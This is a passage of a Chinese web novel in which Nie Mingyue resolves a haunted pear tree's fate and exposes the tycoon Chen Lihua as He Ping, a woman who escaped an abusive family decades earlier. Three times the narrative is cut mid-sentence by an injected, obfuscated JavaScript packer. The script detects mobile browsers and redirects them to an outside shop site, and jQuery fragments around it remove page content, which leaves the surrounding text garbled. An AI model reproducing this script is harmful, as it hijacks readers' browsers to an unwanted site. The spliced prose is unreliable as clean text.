聂明月笑,那笑只在皮肉之上,因而显得莫名诡异:“你阴冥司五百年,才出一位大人,你是想,在今日之后,五百年,阴冥司无主?” 关临渊吃了哑巴亏,却也是因为自己先动手而心虚,冷哼了一声,提着箱子离去。 他不知道的是,在他走后,聂明月的嘴角也流出一道血印。她的惊喜却超过了惊讶,这是她此生第一次感受到危机,新上任的阴冥司大人,似乎是有能力将她置于死地的。 她站起来走到梳妆台前,抹去嘴角的鲜血,像觉得新奇似的,盯着擦血的指尖:“原来,我也是可以受伤的……” - 此刻,龙洞村梨树下。 “聂明月!那不是你的责任!”关临渊气极,他知道她为何会这么做,她是把沈敬与清灵的因果算到了自己的头上。 他气的不是她抢了他的鬼,而是她此刻脑子不清楚,把自己当成了那只妖。 “你叫聂明月,不是千年前的大妖。我认识你的时候,你强大又冷漠。可是现在的你,会笑,会难过……”他怕这女人钻了牛角尖生了心魔:“你会为了白毛怪的故事心软,也会因为讨厌我,恶作剧弄脏我的衣服……聂明月,你不是妖!你越来越像个人了!” 聂明月被关大人的惊喝声唤醒,她才发现方才自己失了分寸,为保两只鬼魂,情急之下竟然招出了明堂,从阴冥司手中抢了人。 “我……不是大妖……”她重复关临渊的话,似乎还在确定,是不是真的如他所说,她是她,大妖是大妖? - “妖王大人!”一声呼唤让她一愣。山神老猴站在院门口,冲她恭恭敬敬行了个礼。身后站着密密麻麻的大精小怪,天上飞的,地里长的,山里跑的……竟然还有一只鲇鱼精吐着泡泡就来了。 在山神的领头下,百妖朝拜,俯身于地,齐刷刷磕着头。 “吾接到报讯,白毛怪又来了,吾恐大人有事,召集人手前来帮忙。未曾想大人神威依旧,竟收回了那龙威压制,还让吾等有幸见到了神山降临!” 一天前,老猴见聂明月,暗自揣测她可能没有了灵力,还在忐忑那番托付是否给大妖带来了负担。听说白毛怪来了,便准备来帮大妖打群架,哪怕顶着龙威,也要报当年之恩。 现在它可放心了,大妖依然是那个大妖,而且比当年更加强大,随手一招,就能天降神山! 关临渊闻此言,心中万马奔腾。他好不容苦口婆心动之以情,让聂明月不要再囿于千年前大妖一事,这老猴子就突然出现,张口闭口喊着“妖王大人”……关大人深深叹了口气,唉。 “别跪了,起来吧。”聂明月看着山头远处,还有速度慢的妖精们往这边跑,开始头疼了:明堂真的不可随意现世,她这次是真的做错了? 山神招呼小的们起身,并让它们站在院外等候。 - “这棵老梨树已经陨灭了,现在我灵台之中,你作为山神,可有章法处理后事?”她一时冲动,现在确实冷静下来了,把白毛怪三人放到明堂里,接下来怎么办呢? “此等小事不可劳烦妖王大人。”山神忙不迭说:“大人可将它们交付于我。只要尚有灵息,树精扎于土地中,还是有复苏的可能。”它上山最早,亲眼见到那一大一小,身上有树精气息,又知道此刻阴冥司的人在旁边看着,又接着说:“那两个女娃,已经借树精成灵,只是灵智未开,懵懂于世。吾会好生约束管教,让它们在山中修炼,不会再出来惊扰村民。” 关临渊心知肚明,老猴子点他呢。猴精猴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197064|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精的。 聂明月松了一口气,但是她着实不想再招明堂吓到众妖了,便交代山神,明日会去秦北县再做交接。 “你到时可来——”她想了一下:“老城区的常春旅店来找我。” 关临渊听到这名字,眉毛一挑。 山神见还有再与妖王会面的机会,忙不迭召唤小妖们各自归家了。 - 百妖如潮水般退去,几分钟后,院中又只剩下两人。 关临渊说:“梨树已死。明日工人上山会发现异状,我们现在就下山吧。”他捏了个驭土诀,把尸骨继续掩埋,但露出树根的破绽,只要有人来查看,就会发现树下的异状。 此时已是深夜,两人不怕被人看到,双双疾行,迅速到了山下。 刚踏上公路,聂明月电话就响起来了。 “太奶奶!”除了唐槐,还能有谁:“罗家那边回消息了。当年在他家的保姆,姓贺,叫贺萍。从罗老师儿子小学到毕业,七年,都是贺萍照顾的。” 聂明月心中了然,告诉唐槐:“你让计九,带着陈丽华和秤杆,马上出发,以最快速度到龙洞山来。我在大河乡的桥口等他们。” 唐槐还有很多事情想告诉她:“太奶奶,海泽这边有些事……你什么时候能回来?” “顺利的话,后天就到家了。”她说:“你记得,要和孟夏待在一起。有处理不了的事,等我回去再说。” - 刚挂上电话,又响了。她以为还是唐槐,接了起来:“怎么了?” “聂女神!太好了,我终于打通了!”聂明月一时间没反应过来,看了眼手机,居然是赶趟哥。 在他连珠炮的输出中,聂明月听明白了。他昨天上山时不仅带了相机,领口还别着一台微型运动相机做记录。他回到旅店后,充上电准备看视频,发现那晚他不是在树洞内睡着的,是靠着树时,视角莫名转换,最后到了树洞内。 “真的有鬼!”他担心聂明月遇险,又包车赶了回来,此时正在大河乡往龙洞村的路上。他想好了,要是还是联系不上聂明月,他就自己上山去找她。 聂明月听他毫无头绪的讲述,心下不免感动,本以为萍水相逢,没想到这个网红还挺有良心。 她想了想,决定在原地停下来,让赶趟哥继续坐车过来。 她要送他一份大礼。 - 关临渊见她连接好几个电话,此时还有人在发消息给她,忍不住说:“这就是人类的社交。你确实越来越像个人了。” 聂明月知他嘴硬心软,也不顾及别的了,直接问:“你教我一下,怎么把妖怪收到明堂以外的地方?”这真是拉下老脸了,反正山上最失态的样子都被他看到了。 关临渊大惊:“你那如意不就是降妖伏魔的法器吗?还有龙骨秤砣,都是世间少见的宝物……”他把“你居然不会”这句话硬生生吞到肚子里。 聂明月赧然:“怎么用?”唉,又被他抓住一个笑柄。 关临渊按下笑意,把驭器的方法给她讲了一遍,这确实是修士的入门知识,不是什么独门秘技。不过世间法器宝物少有,基本无人能学以致用。 聂明月见四下无人,拿出如意,又唤出明堂,把里面经年纳入的妖魔鬼怪转移了阵地。 关临渊见她拉完一个又一个,瞠目结舌:“不愧是明堂主人,一力降十会。世人寻而不得其门的明堂,居然让这众多精怪先进去了。” 他看到群妖中,百年前的那只魇,也悻悻低头入了如意。 原来,她当年还是把那件事放到了心上,给阴冥司做了一个交代。 23. 三进村 人间行走指南: 【没有生来好运,每一次的化险为夷,都是你曾付出善意得到的回应。】 - 张萌心急如焚,不停催促司机快一点。出租车在山间公路上开出了越野车的气势,从秦北县城到大河乡,就用了两个多小时。 他之所以为自己起了个“赶趟哥”的网名,是因为从小到大,不管事情有多着急,他都能赶上:上学的时候,他能踏着铃声进教室从不迟到;公交车本来要开走了,偏有人在车门处堵着后面的人,他也就挤了上去;人还在路上,飞机已经过了登机时间,结果天气原因延误……朋友们每次催他,他就说着“赶趟”“赶趟”,不慌不忙出门,反正肯定能赶上…… 这次他却不知道能不能赶趟了。 在旅店里,他回看运动相机记录下来的一幕,那画面诡异得很,就像是有双无形的手,将熟睡中的他抱进了树洞。他虽然一直说想遇到灵异事件,但当事情真的发生在自己身上,却嫌弃这一生赶趟的好运气了。 “拜托这次一定要赶趟!”他坐在副驾驶上念叨着,不停拨打电话,对方一直不在服务区。他急得满头大汗,身上却发冷地打着颤,只盼能及时赶到龙洞村——聂明月一个女孩子在山上,电话还打不通,要是真的出了什么事,他一辈子都不会原谅自己。 车刚开过大河乡,电话突然通了,“怎么了?”对方问,张萌恍惚间都没反应过来。 太好了,她没事!他心中大石落地,又得意起自己果然不愧是天选赶趟人。 聂明月要他继续往山里去,到龙洞村找她,他挂上电话后已经气定神闲了:“哥现在就去接明月妹子回城!” 他不知道的是,聂明月并不会跟他一起回去。并且,还会让他独自重上龙洞山。 赶趟哥张萌的善良和好运,将为他带来此生第一次真正的奇遇。 - 凌晨两点的山间本就安静,远处来车的声音格外清晰。聂明月收好如意,看着那辆出租车越来越近。 “下血本了啊,直接打车来的。”就在昨天,抠搜的赶趟哥还为了50块钱车费,跟她讨价还价。 赶趟哥是直接从车里蹿出来的,他冲到聂明月跟前,将她从头到脚打量了一下,妹子换了身衣服,精神状态良好,彻底放心了。这时他才留意到,她身边还站了一个身材高大的男人。 聂明月没有为他介绍,直接问:“你的摄影机器,防水吗?” 赶趟哥虽然疑惑,但也回答:“专业探境人必备!”他从包里翻出运动相机,又翻出潜水配件:“水下六十米,高清!” “那行。你现在就去龙洞里的龙潭子,就你昨天上山的那个路口,去拍点东西吧。”聂明月说:“你一个人敢去吗?” “啊,还去?”他犹豫了。村里有鬼,龙洞他也去过,就是个天然洞穴,素材也拍完了,没有特别的地方啊。 “你先去吧。如果拍完龙潭子,天还没亮,你就再去趟老梨树。”她给他安排着:“没有鬼了,我已经处理完了,很安全。” “妹子……我倒不是怕,不过你要我拍什么?”他走南闯北都是一个人,或许是因为她早上救他的原因,聂明月这个人,在他心里十分值得信任。 “你去了就知道了。遇到什么事,你按自己的方式去处理。”聂明月说:“视频里不用提到我们。” 她催促着赶趟哥进洞上山,又扣下他的出租车,让司机带她和关临渊回大河乡。 “你的车费我付了。谢谢你回来找我!”她从车窗里冲他挥手道别:“祝你成功!” - 回到大河乡的三岔路口,聂明月结了车费,其中还包括司机空车回县的费用。司机看着那两人站在桥口也不走,似乎在等人,问了一句:“你们不需要回去的车吗?”这是一趟大活儿,忙一个晚上,后面两天他就可以休息了。 “不用了,谢谢。”聂明月说。 大河乡的河水浪涛不休,关临渊如当初聂明月般,抬头看最高那座斜如刀削的崖壁,又看了看河道中的巨石嶙峋,不由发出感叹:“震怒之下摧山生河,此等实力堪比上神。” 聂明月知他并不是出言讥讽,一日前她站在此处,也是这般所想。不过没想到,那就是她本人干的。 “还是那句话,你是聂明月,妖王是妖王。不要因为可能是你以前做的事,而让自己承担后果。”关临渊掌因果,深知她纠结的心态:“我观察你百年,你是个不入轮回、因果之外的存在。秦川三百峰的事,即便你不管,也没有任何影响。” 聂明月闻言,低头半响,然后说:“可是,我心里过不去……”像极了做错事的小孩,大人已经说了没事不怪你,可是孩子心里,从此留下了深深的印记。 “正是你有过意不去的愧疚感,所以才不是那妖王。”他也不知道为何会去安慰她,大概是人年纪大了,看不得小孩子受委屈吧。 两人闲聊中,天色由黑变青。早上五点的时候,计九崖打来电话,说他们正在从秦北县到大河乡的路上,大概还需要两个小时。 陈丽华动用渠道关系,专机直接到了县里。又提前安排了车,距聂明月叫他们从海泽过来,不过六七个小时。 人类的钞能力比灵力更有效。 “秤的事,你有什么打算?”关临渊问。 “不管真相如何,陈丽华保不住那杆秤。”加上秤砣是螭龙脊骨所制,她更不可能把它交回到陈丽华手上。她在叫他们以最快速度来秦川的时候,就已经做下了决定。 - 清晨七点,天光大亮,乡里人家已经升起了阵阵炊烟,人们从夜里醒来,准备做早饭,一如往常开始新的一天。 计九崖与陈丽华从一辆特殊牌照的黑色SUV车上下来,陈丽华抬头环视,这里和多年前相比,房子多了,公路宽了,什么都变了,但是山间独有的清新气息依旧。 “聂小姐,那龙洞山的威压……”她自秦北下飞机,已经没有当初那几次的恐惧感了,但是对于龙洞山还是有深深的顾虑。 “无碍了。陈总可以顺利上山。”聂明月说,但她又接着补了一句:“陈总,此处是三岔路口。向前,是龙洞村,向右,是陈家山,你想先去哪里?” 陈丽华不假思索地说:“龙洞村。” 她的回答在聂明月意料之中,不再多言,和关临渊又上了车。 计九崖开车,他与关临渊有些陈年纠葛,也不知道他怎么跑到北边来了,因陈丽华在车上,所以也没有再说什么。 倒是关临渊戏谑了一句:“计九,多年不见,你怎么老了这么多?” 计九崖“哼”了一声,不再理会。 此时,一辆警车从大河乡的桥上驶过来,越过几人,朝他们要去的方向驶去。 “看来赶趟哥一切顺利。”聂明月向关临渊使了个眼神。 SUV启动,跟在警车之后,一路开到了龙洞山下,又上了新修的盘山乡道,直接到了山顶的村子。 聂明月指路,让计九崖将车停在了刘奶奶家门口的晒谷场上。刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204702|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶奶先看到有警察来了,又从黑车上下来一行人,正走出来查看。 “刘奶奶,这是海泽的陈总,打算来考察景区做投资,先来看看。”聂明月解释,借她家地方停个车。 刘奶奶十分高兴:“还是你们这些有文化的年轻娃子有本事,昨天刚来考察拍照,今天老板就来了。” 聂明月见陈丽华神色疲惫,整夜奔波在路上,她身体再好,也是个八十多岁的老人了。便先借了刘家的一间房,示意刘奶奶有事需要谈一下。刘奶奶是接待过各路领导的,深知考察就是走个过场,在屋里坐一坐,再去工地拍个照,这些流程走一遍就行了,便烧了壶茶水,轻轻关上了房门。 陈丽华压住心中忐忑,问:“聂小姐,秤砣找到了是吗?” 聂明月从包里拿出一张半折的纸,放于桌上,推到陈丽华面前。 陈丽华疑惑地打开那张纸,是一张结业证明,她一眼就看到了手写的“陈梨花”三个字,刹那间双手颤抖,神色惊慌。 “陈总,”聂明月缓缓说道:“我是该叫你陈梨花,还是该叫你贺萍呢?” - 陈丽华双手掩面,忍不住痛哭起来。一生往事涌上心头,她想说,她早就想说出一切了。然而谁会相信,谁能为她证明? 过往历历在目,而她此时,一个字都说不出来。 聂明月见她情绪激动,一时半会也平静不下来,于是,她继续说:“那就让我先来说吧。” “你在此事中的第一个破绽,是陈家山,让我在海泽就起了疑心。”陈丽华讲述自己在赵家的经历,细节真实,但是对于陈家及陈家山,从头到尾都如外人般,仿佛在叙述一个故事。 尤其那故事,等聂明月到了陈家大院,发现和讲解员小陈的版本如出一辙,早就在世面流传了。陈丽华对陈家的现状并不关心,包括刚才在大河乡,她也毫不犹豫选择了先来龙洞村,这个让她一生痛苦的地方。 反而在陈家大院中,那曾孙女陈梨花的闺房尽管简陋,但处处证明,陈梨花是在家人的爱护下长大的。一个人久别家乡,心念之处,不可能没有儿时记忆的存在。 “第二个破绽,是你对外说的创业经历。”陈丽华的创业经历,多家媒体曾有过报道。她从大字不识的做饭大姐,成为企业老板,人们关注的点,集中在了这身份的转换上。即便她后来学了认字,谈吐不凡,也没有否认过不识字的过往。 而陈梨花这张扫盲证,实实在在证明了,陈三金的曾孙女,无论是小时候,还是后来,都是读过书会写字的。她为何不知道呢?为何就把不识字的真相主动说出来呢? 大概是她认识陈梨花的时候,想不到她居然识字吧。 “第三个破绽,却是唐槐联系上罗家人,我才确认的。”聂明月做事的风格,是不放过任何一个可疑的线索。 罗家的儿子出国,是二十世纪九十年代末,那时出国的人无非留学或者打工。罗老师在国内外颇有声望,罗家儿子已经在省城有了安稳的工作,突然带着自己一家人移民到英国,没有经商,也没有变卖罗老师的作品,又是哪里来的资本和实力过上有庄园的生活呢?想必是在陈丽华的操作下,不动声色地让他们离开了秦川吧。 那陈丽华,又在躲着谁呢?她不是答应了陈家爷爷,要守好秤吗?为何又要彻底抹去自己在罗家的痕迹呢?这让聂明月觉得非常可疑,于是安排唐槐去联系罗家后人。 她想知道,陈丽华到底是在守秤,还是在躲着人? 或者,两者皆是? 24. 两个女人 人间行走指南: 【每一次的幸运,都是你曾付出过的善意的回应。】 - 贺萍是饿晕在龙潭子旁的。 她出生于巴山脚下一个小村庄,从小到大,家里人都在为生计劳碌。 十六岁那年,遭遇自然灾害,天干地旱,粮食骤然减产。大家都说,忍过这一年,明年就好了。 第二年,各家都没有存粮了。地里缺水,种不出粮食。村子里的人,要么出去要饭,要么躺在家中等死。 第三年,村里的树皮都被扒下来果腹了。全家人离开村子,一路走,一路看,时常在路边遇到被草草掩埋的尸骨。 这就是人啊,即便是死了,亲人还是要为死者留下最后的体面。 后来,弟弟饿极了,偷吃了观音土,三天后就断了气。 又过了几天,父母在夜里留了一把仅剩的玉米皮,悄悄离开。 她一粒不剩地捡完玉米皮,抓一撮含在嘴里,实在忍不住了再吞下。就这般坚持着走了一天,到了秦川山南。山里时不时有饿极了的野物跑出来,她运气好,捡到一只皮包骨的山鼠,来不及处理,就生吞了下去。 她想活着,想好好活着。于是,她继续向山里走。 越往北走,能吃的东西越多。腐烂的果实、枯黄的野草、干瘪的树叶……勉强维持着她的生命。 直到她见到几个从龙洞中走出的村民,竟无一饥瘦者,山外的饥荒,没有影响到靠山吃山的深山村民。 她循那些人出来的洞穿过去,已经走不动路了。她硬生生爬着到了洞口,有个人正拿着鱼篓在水里捞鱼…… - 醒过来的时候,她已经在赵家了。男人正跟一个老婆子说话:“奶奶,她是我捡来的,是不是就是我媳妇了?” 赵林生看起来有点憨直,但是对她还挺好的,至少每天都能喝到菜汤,嚼到小鱼干。 贺萍也没有别的去处,就顺理成章成了赵林生的老婆。 一个月后,赵奶奶开始每天都让她吃一种石粉,说是为了她身体好。第一次吃的时候,石粉中还有着另一样奇怪的虫尸。 那石粉确实有用,她能明确感受到,自己的身体好多了。两个月后,她怀孕了。 赵林生对她更好了。一向阴阳怪气的赵奶奶,也不再背着赵林生对她桀桀怪笑。她感叹自己运气是极好的,每日就是做些简单的家务,喂喂生产队里的猪和鸡,给院里老梨树浇水捉虫。这等生活,三年前想都不敢想。 没想到十月怀胎,纹丝不动。赵老婆子却笑得更多了,她说再等等就好了。她的肚子越来越大,终于到了第十四个月,她忍受着巨大的痛苦,熬了两天两夜,终于将孩子生了下来。 还没来得及抱抱婴儿,赵老婆子就黑着脸,说是个女孩,出来的时候就是个死胎。她不信,明明恍惚间听到有孩子的哭声,她还活着!不能因为是个女孩,就不让她活着呀! 赵林生听奶奶的话,要将孩子埋在梨树下。她摔下床,不顾一切冲了出去,求赵家人将孩子好好安葬,得到的却是那祖孙的冷眼。 赵老婆子要她养身体,继续喂她吃石粉,第一天续石粉的时候,里面又有虫尸。 她觉得虫尸有问题,偷偷藏在了床褥下。等她终于能下地了,却一天都没法待下去。她的孩子,就埋在离她几步的树下,令她日日难安。 也就是从那时起,赵林生间歇疯狂,动不动就打她。她才懂得,这世界上有比饥饿更难熬的事,那就是骨肉分离,和看不到尽头的折磨。 她观察着,筹谋着,终于有一天,趁两人被叫到公社开大会,沿着小路跑下了山。 她逃到秦北县里,被罗永立的爱人看见,施舍了一碗饭。她自述被丈夫虐打,罗家人心善,将她暂时收留在家中。那时他们的儿子刚上小学,两人忙着工作,她掏出真心照顾那个孩子,最终被留了下来。 - 一年后,她遇到一个认识的村民,得知赵林生刚娶了个新老婆,她终于不会被抓回去了。 农历三月十五日,是她那早夭孩子的诞辰。她跟罗家人请了假,匆匆上了山。她想偷偷回赵家院子祭拜自己的孩子,却在青杠林遇到了一个哭泣的女人。她上前询问,才知道是赵林生的新老婆,叫陈梨花。 陈梨花是被赵林生撵出来的,今天他孩子“过寿”,和赵老婆子神秘鬼祟商量着什么事,先把她打了一顿,又让她熄灯了才能回院子。 她无处可去,坐在青杠林边,忍不住哭了起来。 贺萍感同身受,安慰她,以自己的经历告诉梨花,实在受不了,可以逃出去。她还问到,陈梨花嫁进来第一天,就被喂了虫尸和石粉,已经快两个月了。 她叮嘱梨花,石粉可以吃,千万别怀孕了。赵老婆子在种阴童,如果怀孕就会和她同样的遭遇。 梨花得知真相,含恨说,她已有了治老婆子的法子,老婆子活不了多久了。 她只当是梨花的胡言,安抚了几句后,偷偷跑到赵家院外,那是离她孩子最近的地方。她朝向梨树的方向跪拜,祈祷那孩儿投个好胎。隐约间,她看到赵林生拿着锄头,在开满花的树下刨出一具婴童尸骨来。赵老婆子站在门槛处笑,让他看准了,别是那个赔钱货,一定得是男婴。 他们要做阴损事,那树下不知还埋着多少新生儿的尸体。她吓得匆匆离开,再过青杠林时,梨花却不知道去哪里了。 - 回到县里后,她把看到的事藏在肚子里,偶尔想起那个哭泣的女人,却也做不了什么。又过了一年,她再次上山,她想最后一次来看孩子,更多的是想看看同病相怜的梨花。 那天晚上的月亮又大又亮。她刚到院外,就被赵林生发现了。赵老婆子嘴里骂着阴损的话,赵林生将她拖到树下,挥舞着拳头一次次砸到她身上。 她痛得满地滚,梨花突然回来了,将她拦在身后,乞求赵林生手下留情。 赵老婆子说:“打!两个都打死!一年了都下不出个蛋来,死了正好,再娶一个!” 赵林生举着锄头过来了。梨花背过身,把她牢牢护在身下,两个同样苦难的女子,在绝望中闭上了眼…… 等她醒来,不知道已经过了多久。梨树诡异的蓝光还未散尽,赵家祖孙躺在地上没了动静。她身上很沉,是梨花趴在上面,才保住了她的命。 她把梨花抱在怀里,梨花头上的伤口不断冒血,她想为她止血,可怎么按都止不住。 梨花睁开眼,指向落在赵婆子身边的一杆秤和秤砣:“姐……你能不能……帮我个忙……” 梨花让她把秤砣和秤收好,去山下龙洞口的公路边,天亮的时候,会有一个人在那里等她。 “……他若先问我,就告诉他,我不能和他走了,把秤杆给他,让他……好好过日子……”梨花嘴里也吐出鲜血来。 她点头答应,只求梨花不要再说话,她马上去喊人来救她。 梨花接着说:“……他若知道秤,或者先问秤,那他……就是害我家破人亡的人……把秤杆和秤砣都给他……替我报仇……” 她震惊于梨花的交代,根本没听懂,待要再问,那姑娘却闭上了眼,彻底没了气。她这时才发现,老梨树也枯死了。 她擦干泪,捡起秤杆和秤砣,想到逃荒时路边的弃尸,不能让梨花横尸在地上。正好赵林生挖婴骨的地方有深坑,挪动尸体的时候,她发现梨花怀里还有个油纸包好的本子,就将油纸包塞到梨花身下,将她浅浅掩埋了。 若有人发现赵家人都死了,至少梨花的死状,比那两人体面…… - “没想到居然是因为我不识字,看不懂那个油纸包里的纸条,让你发现了破绽……”说完往事,陈丽华的泪流干了,声音也哑了。聂明月将水递到她桌前,她却迟迟没有端起来,还沉浸在当晚的经历中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220774|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “山下是谁在等梨花?”聂明月问。 陈丽华:“那时天还没亮,看不清脸,就记得戴着眼镜。” 戴眼镜的男人站在公路旁,待她跑近,见不是梨花,脸上露出失望的神色。 他没打算理她,大概是谁家媳妇跑出来的,这年头偷跑的女人太多了。 贺萍倒先说了:“梨花让我跟你捎句话。” 那人大惊,问:“她给你了吗?那杆秤?” 她默默把插在衣服后的秤杆捂住,这人知道秤的存在,他先问的是秤。 她摇头说:“梨花让我告诉你,她不跟你走,你自己以后好好过日子。” 按照梨花的托付,她应该将秤和秤砣都交给那人的,虽然她不明白为什么。 但她往衣兜里一模,秤砣不见了! 男人见她慌张乱动,又说不出别的什么话来,一脸失望之色,一辆拉着几个知青的拖拉机正好来了,那人就神色不甘地爬上拖拉机离开了。 她替梨花妹子难过,那人一句关于梨花的事都没问,很有可能就如梨花所说,是害陈家的人。 可是秤砣呢?是不是落在龙洞里了?她跑回去,却感受到洞中有莫名的威压感,那种恐惧提醒她,赶紧离开这里。 她捏住秤杆,又沿着公路向前跑。 梨花用命来护了她,从此以后,她会用命来护秤,她一定会回来找到秤砣,哪怕赤脚已鲜血淋漓,哪怕身上全是伤…… - “我在罗家继续生活了五年,无数次尝试回龙洞……”陈丽华端起了茶杯:“但是就是无法靠近,我的身体也发生了异状,在秦北县里日日难安,时间越久,越心中恐慌。最后一次回去,遇到村里人,对方说陈梨花早就跑了。我不知道为什么没人发现梨花的尸体。最终我离开了秦川,改名陈丽华,对媒体宣扬我的创业史,一方面是念着梨花的恩情,想以她的名字活下去;另一方面还想着,万一被人听到这个名字,会有心寻过来。” “如果他来了,我已经有实力为梨花报仇;要是永不出现,等我离世前,就将完整的秤还给陈家后人……”这才有了她投资陈家大院、宣扬陈三金守诺做出秤的故事。 她等了六十年,最终没有等来寻秤的人,也没有找回秤砣。就在她再无别的办法、收到罗家儿子寄回来的陶俑那天,她遇到了计九崖…… - “那夜,其实赵家祖孙真以为你们跑了。”聂明月将后来的事大致说了一遍,正好计九崖在,能给些新的思路。 计九崖沉吟道:“贺……陈总的孩子被埋在梨树下。梨树有灵,与婴灵成为一体,应该是在危急关头,为了保护生母,耗尽全身灵力,让赵家人暴毙的。” 陈丽华惊住了。她以为只有她在苦苦惦念那个孩子,没想到居然是那一面未见过的女儿护住了她。 “陈梨花的尸体,被沈敬误认是贺萍,种下了千年芘石。芘虫本就有吸纳灵力滋养宿主的能力,又汇聚了龙洞山的灵气,才能保证老梨树六十年的生机。”计九崖感叹:“人、灵、鬼,三个都有情有义,它们在用自己的方式,照顾彼此。” “陈总也是如此。大概是因为得到梨花和梨树的祝福,又不忘旧恩,日夜摩挲秤杆,才得以在之后的人生中顺遂平安,也才会对同出一脉的秦川灵气有感应,对龙威生畏。” 如果贺萍真是千年前的清灵转世,她本身就熟悉芘虫的灵气,身体被喂养了近两年,已经超过常人了。现在的身体异状,均是芘石粉所致。 若真的常年服下去,未必没有成为修士的可能。沈敬果然不愧是千年前的修士前辈,这事处理得相当有手段了。 陈丽华听得云里雾里,对转世之事毫不感兴趣。她一直在等着聂明月接下来要做的事。 聂明月从外衣胸前的包里,拿出了那块秤砣,一字一句说道: “贺萍,这龙骨,却不能交给你了。” 25. 错定星盘 人间行走指南: 【人心如秤,自有权衡。】 - “什么?”陈丽华神色陡然一震,直接站了起来,茶杯被她的动作带倒,茶水洒在桌上。她却顾不上了,只看着聂明月:“聂小姐,你什么意思?” 聂明月看向她的眼神里,竟然有不常见的温柔:“接下来我要做的事,可能更超乎你的认知。你先告诉我,你做好准备了吗?” 在她的注视中,陈丽华本已经上来的愤怒之意莫名褪下,她有点不知道该如何反应,最终坐回原位,点了点头。 聂明月将龙骨秤砣放在桌上,又拿出如意。她驭器诀用得不熟,生怕多招出别的奇形怪状的吓到老妇人,凝神掐诀。 这间烤火的屋子本来就不大,四人围坐着在中间圆桌,在她身后,赫然出现一高一矮两个虚影。呼吸之间,虚影越来越实,高的正是陈梨花。 估计沈敬在里面照应过她,她头上的血迹已经没有了,只留下一道黑色伤口,怀里抱着正睡得香甜的胖虫子小紫。 离梨花最近的关临渊本坐在聂明月旁边,他倏地站起来,把计九崖吓了一跳,关大人又故作平静状踱步到陈丽华身后。 陈丽华却比关临渊冷静多了,她认出了梨花,又看向梨花身边的小孩子,尽管那孩子面色乌青、五官扭曲,她还是能感觉到,那是她不曾谋面的女儿。 她含着泪,一时间不知道是该看孩子,还是看梨花,她不需要怕她们,这两个与她命运相关的逝者,是她一生最大的羁绊。 “我已经给她们安排了妥善的去处,你放心。梨花灵智未齐,她可能会不认得你。”聂明月说:“但你的女儿,已经是半个山灵了,她非常聪明。你也看到了,梨花将她照顾得很好。” 陈丽华喏喏点头,孩子稀疏的头发被精心扎成两根小辫子,正一脸好奇地看着她。 “如果你愿意的话,你们今后会有相处的机会,我们先说秤的事。”聂明月示意陈丽华将乌木秤杆给她。 陈丽华拿出包里的三截秤杆,正想组合成一杆,梨花突然神色激动起来,嘴里发出“呜呜”的叫喊。 聂明月阻止了她组装秤的动作,接了过来。她把梨花唤出来,是想当着她和陈丽华的面,来证实自己的推测。 - 梨花虽没有见过曾祖父陈三金,但从小在爷爷身边长大。爷爷也是会制秤的,平时乡亲也会来买秤,因为陈家的秤,最准。 梨花不会制秤,在对秤的了解上,却比一般人更多一些。 一个优秀的制秤师,同时是一个优秀的木匠。通常秤杆是由红木制成,将一截木头修型、打磨、抛光,没有精湛的木工手艺,是做不到的。 一个优秀的制秤师,同时也是一个优秀的金石雕刻师、画师。越是达官贵人,家中秤砣的精致程度和嵌星工艺越是考究,根据用途和身份,在铁石木料上雕出瑞兽和吉祥寓意的图案,让秤也能成为艺术品。 一个优秀的制秤师,同时还是一个通数术的算学家。第一颗定星盘的位置,决定了秤与秤砣之间的初始平衡。总共十六颗秤星,决定了秤的度量。秤星与秤星之间的圆形小星,数量越多,证明秤能称的重量越大。 一把合格的秤,通常需要花费制秤师好几个月的时间,制秤师需博学多闻,又需秉持本心,必须公正公平。 制秤师被匠人们尊为“百工之首”,实至名归。 陈家上三代的亲戚,都知道那杆秤的存在,也目睹过陈三金在其中耗费的心力。陈三金去世后,陈家摇摇欲坠。秤的最终去处,是陈家亲戚最关注的。 梨花出嫁前,爷爷把秤给了她。她初见秤杆就有疑惑:曾祖父是制秤名匠,为何要将秤杆做成三截?他做秤的时候,不会预料到被抄家的后事,三截秤杆,一定不是为了方便隐藏。 若木头原本就是三截,更没必要拿来做秤杆了。要知道,阴沉木价值不菲,硬度极高,一旦接口有磨损,或没对准,都会令秤失了准确度,且没有重做的可能。 她嫁到赵家后,时常想这件事。直到看到赵老婆子不问自取,将她的秤拿去量石虫粉,她脑中疑团解开了一角。 因没有称盘,赵老婆子只能用秤钩先量放着碗的竹篮,再将石虫粉放入碗中称量。量完以后,又需两次将秤杆折起后拆开,才能放好。 通常只有称非常重或者大体积的东西时,才用得到秤钩。 